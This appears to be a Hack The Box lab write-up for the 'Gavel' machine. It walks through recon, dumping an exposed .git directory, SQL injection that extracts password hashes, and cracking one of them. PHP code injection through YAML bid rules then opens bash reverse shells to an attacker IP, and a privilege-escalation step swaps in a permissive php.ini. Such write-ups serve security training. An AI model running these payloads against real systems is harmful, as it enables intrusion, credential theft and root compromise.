Gavel
Recon
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ sudo nmap -p- --min-rate 10000 10.129.139.113
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 00:54 PST
Nmap scan report for 10.129.139.113
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 9.23 seconds
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ sudo nmap -p22,80 -sCV 10.129.139.113
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 00:59 PST
Nmap scan report for 10.129.139.113
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.53 seconds
We have 2 ports open, 22 for SSH, and 80 for web.
Let’s add gavel.htb to our /etc/hosts file.
Port 80 - Web
The website is about an auction house:
The webserver is Apache, and the backend is php as confirmed by the login/registration pages: http://gavel.htb/login.php
We can register an account. After logging in we have two additional functionalities inventory, and bidding:
Directory Fuzzing
We will fuzz for directory and subdomain on the target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ feroxbuster -u http://gavel.htb --dont-extract-links -H "gavel_session: nf3pgmkrho120dr0hkhaph6ilq" -w /usr/share/seclists/Discovery/Web-Content/combined_directories.txt -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://gavel.htb/
🚩 In-Scope Url │ gavel.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/combined_directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🤯 Header │ gavel_session: nf3pgmkrho120dr0hkhaph6ilq
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 309c http://gavel.htb/includes => http://gavel.htb/includes/
200 GET 222l 1033w 13952c http://gavel.htb/
301 GET 9l 28w 307c http://gavel.htb/assets => http://gavel.htb/assets/
301 GET 9l 28w 306c http://gavel.htb/rules => http://gavel.htb/rules/
301 GET 9l 28w 305c http://gavel.htb/.git => http://gavel.htb/.git/
200 GET 1l 2w 23c http://gavel.htb/.git/HEAD
200 GET 8l 20w 136c http://gavel.htb/.git/config
200 GET 17l 71w 1128c http://gavel.htb/.git/logs/
302 GET 0l 0w 0c http://gavel.htb/admin.php => index.php
200 GET 355l 1786w 292768c http://gavel.htb/.git/index
200 GET 222l 1030w 13954c http://gavel.htb/index.php
We see .git which is unusual and a huge security flaw. We will use git-dumper https://github.com/arthaud/git-dumper
Set it up with pip3, and dump the git:
1
2
3
4
5
6
7
8
9
10
┌──(venv)─(kali㉿vm-kali)-[~/htb/gavel/git-dumper]
└─$ ./git_dumper.py http://gavel.htb/.git ../.git
[-] Testing http://gavel.htb/.git/HEAD [200]
[-] Testing http://gavel.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://gavel.htb/.gitignore [404]
[-] http://gavel.htb/.gitignore responded with status code 404
[-] Fetching http://gavel.htb/.git/ [200]
[-] Fetching http://gavel.htb/.git/HEAD [200]
<SNIPPED>
Code Review
Let’s perform code review on the Inventory and Bidding functionality.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(venv)─(kali㉿vm-kali)-[~/htb/gavel/.git]
└─$ ls -la
total 96
drwxrwxr-x 6 kali kali 4096 Dec 3 01:46 .
drwxrwxr-x 4 kali kali 4096 Dec 3 01:45 ..
-rwxrwxr-x 1 kali kali 8820 Dec 3 01:46 admin.php
drwxrwxr-x 6 kali kali 4096 Dec 3 01:46 assets
-rwxrwxr-x 1 kali kali 8441 Dec 3 01:46 bidding.php
drwxrwxr-x 7 kali kali 4096 Dec 3 01:46 .git
drwxrwxr-x 2 kali kali 4096 Dec 3 01:46 includes
-rwxrwxr-x 1 kali kali 14520 Dec 3 01:46 index.php
-rwxrwxr-x 1 kali kali 8384 Dec 3 01:46 inventory.php
-rwxrwxr-x 1 kali kali 6408 Dec 3 01:46 login.php
-rwxrwxr-x 1 kali kali 161 Dec 3 01:46 logout.php
-rwxrwxr-x 1 kali kali 7058 Dec 3 01:46 register.php
drwxrwxr-x 2 kali kali 4096 Dec 3 01:46 rules
inventory.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
<SNIPPED>
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
<SNIPPED>
The app inserts user-controlled input ($_GET['sort'] / $_POST['sort']) directly into a SQL query as a column name, wrapped in backticks.
Because prepared statements only protect parameter values (? placeholders), not dynamic parts of the query structure like column names. Interpolating user input into the query string, even with backticks and
1
"`" . str_replace("`", "", $sortItem) . "`"
is unsafe.
includes/db.php tells us that MySQL is the DBMS on backend.
SQL Injection
We will perform a GET Request on inventory.php endpoint.
A query like:
1
user_id=2`+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y%3b%2523&sort=\%3f-- -%00
will result in dumping all the tables.
Perform a GET Request:
1
http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+table_name+AS+`%27x`+from+information_schema.tables)y%3b%2523&sort=\%3f--%20-%00
The table of interest is users.
Then we will dump the users table:
1
http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?--+-%00
1
auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS,Marshal:$2y$10$jv8hdOn0n4kpyxPkGjuBze4z938eVXDGAmLbrGcM8GT4/sKoGIMaq
Crack with Hashcat
We crack the auctioneer password:
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
Login as Auctioneer
We have access to admin panel now:
We will go back to the dumped .git and understand what rules the admin panel expects.
From rules/default.yaml:
1
2
3
4
5
6
7
8
9
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."
PHP Code Injection via YAML Rules
We will add a malicious rule that will land us a reverse shell:
1
system('bash -c "bash -i >& /dev/tcp/10.10.16.6/4444 0>&1"'); return true;
After editing the rule, place a bid on the same item (you can place bids as admin as well) and we will have a reverse shell.
Shell as www-data
1
2
3
4
5
6
7
8
9
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ rlwrap ncat -lvnp 4444
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.139.113:58288.
bash: cannot set terminal process group (1084): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$
rlwrap with ncat provides a stable shell.
Under /home we discover the user auctioneer, we can try for a possibility of credential reuse and try to su auctioneer.
In the meanwhile be sure to TTY Upgrade your shell as well:
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
su auctioneer
Password: midnight1
whoami
auctioneer
python3 -c "import pty; pty.spawn('/bin/bash');"
auctioneer@gavel:/var/www/html/gavel/includes$
zsh: suspended rlwrap ncat -lvnp 4444
┌──(kali㉿vm-kali)-[~/htb/gavel]
└─$ stty raw -echo; fg
[1] + continued rlwrap ncat -lvnp 4444
auctioneer@gavel:/var/www/html/gavel/includes$
We can’t sudo -l, and nothing special in ss -tulnp either.
Our user auctioneer is part of a group:
1
2
3
auctioneer@gavel:~$ id
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
Let’s search for what files the group own:
1
2
3
4
find / -group gavel-seller 2>/dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util
Gavel-util
Let’s understand what the binary exactly is:
1
2
3
4
5
6
7
8
9
10
11
file gavel-util
gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped
auctioneer@gavel:/usr/local/bin$ gavel-util
gavel-util
Usage: gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
This looks like a potential YAML Injection attack surface?
Also under /opt there’s something:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
auctioneer@gavel:/usr/local/bin$ ls -la /opt/
ls -la /opt/
total 12
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .
drwxr-xr-x 19 root root 4096 Nov 5 12:46 ..
drwxr-xr-x 4 root root 4096 Nov 5 12:46 gavel
auctioneer@gavel:/usr/local/bin$ ls -la /opt/gavel/
ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root 4096 Nov 5 12:46 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
drwxr-xr-x 3 root root 4096 Nov 5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Nov 5 12:46 submission
sample.yaml:
1
2
3
4
5
6
7
8
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
Seems like there’s also a php.ini:
1
2
3
4
5
6
auctioneer@gavel:/usr/local/bin$ ls -la /opt/gavel/.config/php
ls -la /opt/gavel/.config/php
total 12
drwxr-xr-x 2 root root 4096 Nov 5 12:46 .
drwxr-xr-x 3 root root 4096 Nov 5 12:46 ..
-rw-r--r-- 1 root root 502 Oct 3 19:35 php.ini
The file:
1
2
3
4
5
6
7
8
9
10
11
12
13
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
The php.ini stops any dangerous functions from running which will prevent us from escalating privileges. Instead we will create our own php.ini somewhere else and a yaml file to get root access.
Privilege Escalation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat > php.ini << 'EOF'
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
;open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
;disable_functions=exec,shell_exec,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
EOF
Then:
1
2
3
4
5
6
7
8
cat > exp.yaml << 'EOF'
name: "Exploit"
description: "..."
image: "..."
price: 100
rule_msg: "..."
rule: "system('bash -c \"bash -i >& /dev/tcp/10.10.16.6/5555 0>&1\"'); return false;"
EOF
Lastly, export the rule:
1
RULE_PATH=$PWD/php.ini /usr/local/bin/gavel-util submit exp.yaml


